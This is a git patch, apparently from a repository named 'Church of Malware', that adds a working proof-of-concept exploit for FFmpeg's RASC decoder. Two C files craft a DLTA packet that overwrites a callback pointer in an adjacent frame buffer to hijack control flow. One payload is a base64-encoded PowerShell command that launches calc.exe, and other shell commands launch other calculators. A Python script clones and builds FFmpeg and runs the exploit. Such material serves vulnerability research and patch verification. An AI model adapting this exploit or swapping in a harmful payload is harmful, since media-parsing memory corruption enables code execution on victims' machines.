From 9cc10584fc8adbd38dc3dfa7c006ab69dcf924f3 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:40:50 +0000 Subject: [PATCH] Upload files to "ffmpeg-rasc-dlta-calc-poc/poc" --- .../poc/ffmpeg_rasc_dlta_calc_poc.c | 240 ++++++++++++++++ .../poc/ffmpeg_rasc_dlta_calc_poc_portable.c | 265 ++++++++++++++++++ .../poc/rasc_dlta_os_helper.py | 199 +++++++++++++ 3 files changed, 704 insertions(+) create mode 100644 ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c create mode 100644 ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c create mode 100644 ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c new file mode 100644 index 0000000..34de1ca --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c @@ -0,0 +1,240 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static void calc_callback(void) +{ + const char *fallbacks[] = { + "cmd.exe /c start calc.exe >/dev/null 2>&1", + "xcalc >/dev/null 2>&1 &", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &" + }; + + puts("[callback] hijacked callback reached"); + system("touch /tmp/ffmpeg_rasc_exec_demo"); + + if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0) + return; + + for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) { + if (system(fallbacks[i]) == 0) + return; + } +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c new file mode 100644 index 0000000..db12ec3 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c @@ -0,0 +1,265 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +#ifdef _WIN32 +#define MARKER_PATH "ffmpeg_rasc_dlta_calc_poc_marker.txt" +#else +#define MARKER_PATH "/tmp/ffmpeg_rasc_dlta_calc_poc_marker" +#endif + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static int run_command(const char *cmd) +{ + return cmd && cmd[0] && system(cmd) == 0; +} + +static void calc_callback(void) +{ + const char *override_cmd = getenv("RASC_CALC_CMD"); + const char *commands[] = { + "open -a Calculator >/dev/null 2>&1", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &", + "mate-calc >/dev/null 2>&1 &", + "qalculate-gtk >/dev/null 2>&1 &", + "xcalc >/dev/null 2>&1 &", + "powershell.exe -NoProfile -Command Start-Process calc.exe >/dev/null 2>&1 &", + "cmd.exe /c start calc.exe >/dev/null 2>&1" + }; + FILE *marker; + + puts("[callback] hijacked callback reached"); + marker = fopen(MARKER_PATH, "wb"); + if (marker) { + fputs("callback reached\n", marker); + fclose(marker); + } + + if (run_command(override_cmd)) + return; + + for (size_t i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) { + if (run_command(commands[i])) + return; + } + + printf("[callback] calculator command not found; marker written to %s\n", MARKER_PATH); +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + remove(MARKER_PATH); + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py b/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py new file mode 100644 index 0000000..80e2c8e --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py @@ -0,0 +1,199 @@ +import argparse +import os +import platform +import shutil +import subprocess +import sys +from pathlib import Path + + +def in_wsl(): + if "WSL_DISTRO_NAME" in os.environ: + return True + try: + return "microsoft" in Path("/proc/version").read_text(errors="ignore").lower() + except OSError: + return False + + +def host_name(): + name = platform.system().lower() + if in_wsl(): + return "wsl" + if name == "darwin": + return "macos" + if name == "linux": + return "linux" + if name == "windows": + return "windows" + return name or "unknown" + + +def command_program(command): + parts = command.split() + if len(parts) >= 2 and parts[0].lower() in {"cmd.exe", "cmd"} and parts[1].lower() == "/c": + return parts[0] + return parts[0] if parts else "" + + +def command_exists(command): + program = command_program(command) + if not program: + return False + if program.lower() == "open" and host_name() == "macos": + return shutil.which("open") is not None + if program.lower() in {"cmd.exe", "powershell.exe"} and host_name() == "windows": + return True + return shutil.which(program) is not None + + +def calc_candidates(): + host = host_name() + if host == "macos": + return ["open -a Calculator"] + if host == "windows": + return ["cmd.exe /c start calc.exe", "powershell.exe -NoProfile -Command Start-Process calc.exe"] + if host == "wsl": + return [ + "powershell.exe -NoProfile -Command Start-Process calc.exe", + "cmd.exe /c start calc.exe", + "gnome-calculator", + "kcalc", + "mate-calc", + "qalculate-gtk", + "xcalc", + ] + return ["gnome-calculator", "kcalc", "mate-calc", "qalculate-gtk", "xcalc"] + + +def choose_calc_command(preferred): + if preferred: + return preferred + for command in calc_candidates(): + if command_exists(command): + return command + return "" + + +def run(args, cwd=None, env=None): + print("+ " + " ".join(str(x) for x in args), flush=True) + subprocess.run([str(x) for x in args], cwd=cwd, env=env, check=True) + + +def require_tool(name): + path = shutil.which(name) + if not path: + raise SystemExit(f"missing required tool: {name}") + return path + + +def clone_ffmpeg(src, ref): + if (src / ".git").exists(): + run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref]) + run(["git", "-C", src, "checkout", "FETCH_HEAD"]) + return + run(["git", "clone", "--depth", "1", "https://github.com/FFmpeg/FFmpeg.git", src]) + if ref and ref != "master": + run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref]) + run(["git", "-C", src, "checkout", "FETCH_HEAD"]) + + +def compiler(): + for name in [os.environ.get("CC"), "cc", "gcc", "clang"]: + if name and shutil.which(name): + return name + raise SystemExit("missing C compiler: set CC or install gcc/clang") + + +def build_poc(options): + root = Path(__file__).resolve().parents[1] + src = Path(options.ffmpeg_src).expanduser().resolve() + build = Path(options.build_dir).expanduser().resolve() + output = Path(options.output).expanduser().resolve() + source_file = root / "poc" / "ffmpeg_rasc_dlta_calc_poc_portable.c" + cc = compiler() + + require_tool("git") + require_tool("make") + clone_ffmpeg(src, options.ffmpeg_ref) + build.mkdir(parents=True, exist_ok=True) + + configure = [ + src / "configure", + "--enable-debug", + "--disable-doc", + "--disable-stripping", + "--disable-x86asm", + "--disable-programs", + "--disable-autodetect", + "--disable-everything", + "--enable-zlib", + "--enable-decoder=rasc", + ] + run(configure, cwd=build) + run(["make", f"-j{options.jobs}", "libavcodec/libavcodec.a", "libavutil/libavutil.a"], cwd=build) + + libs = ["-lz", "-lm", "-pthread"] + if host_name() not in {"macos", "windows"}: + libs.append("-ldl") + + compile_cmd = [ + cc, + "-g", + "-O0", + f"-I{build}", + f"-I{src}", + source_file, + build / "libavcodec/libavcodec.a", + build / "libavutil/libavutil.a", + *libs, + "-o", + output, + ] + run(compile_cmd) + return output + + +def run_poc(binary, calc_command): + env = os.environ.copy() + if calc_command: + env["RASC_CALC_CMD"] = calc_command + print(f"selected calc command: {calc_command}", flush=True) + else: + print("no local calculator command found; marker file still proves callback execution", flush=True) + run([binary], env=env) + marker = Path("ffmpeg_rasc_dlta_calc_poc_marker.txt") if host_name() == "windows" else Path("/tmp/ffmpeg_rasc_dlta_calc_poc_marker") + if marker.exists(): + print(f"marker:present {marker}", flush=True) + else: + print(f"marker:missing {marker}", flush=True) + + +def main(): + parser = argparse.ArgumentParser(description="Build and run the portable FFmpeg RASC DLTA calc PoC for this OS.") + parser.add_argument("--mode", choices=["print", "build", "run"], default="run") + parser.add_argument("--ffmpeg-src", default="/tmp/ffmpeg-rasc-dlta-src") + parser.add_argument("--build-dir", default="/tmp/ffmpeg-rasc-dlta-build") + parser.add_argument("--output", default="./ffmpeg_rasc_dlta_calc_poc_portable") + parser.add_argument("--ffmpeg-ref", default="master") + parser.add_argument("--calc-cmd", default="") + parser.add_argument("--jobs", default=str(os.cpu_count() or 4)) + options = parser.parse_args() + + calc_command = choose_calc_command(options.calc_cmd) + print(f"host: {host_name()}", flush=True) + print(f"calc command: {calc_command or 'not found'}", flush=True) + + if options.mode == "print": + return + + binary = build_poc(options) + if options.mode == "run": + run_poc(binary, calc_command) + + +if __name__ == "__main__": + try: + main() + except subprocess.CalledProcessError as exc: + sys.exit(exc.returncode)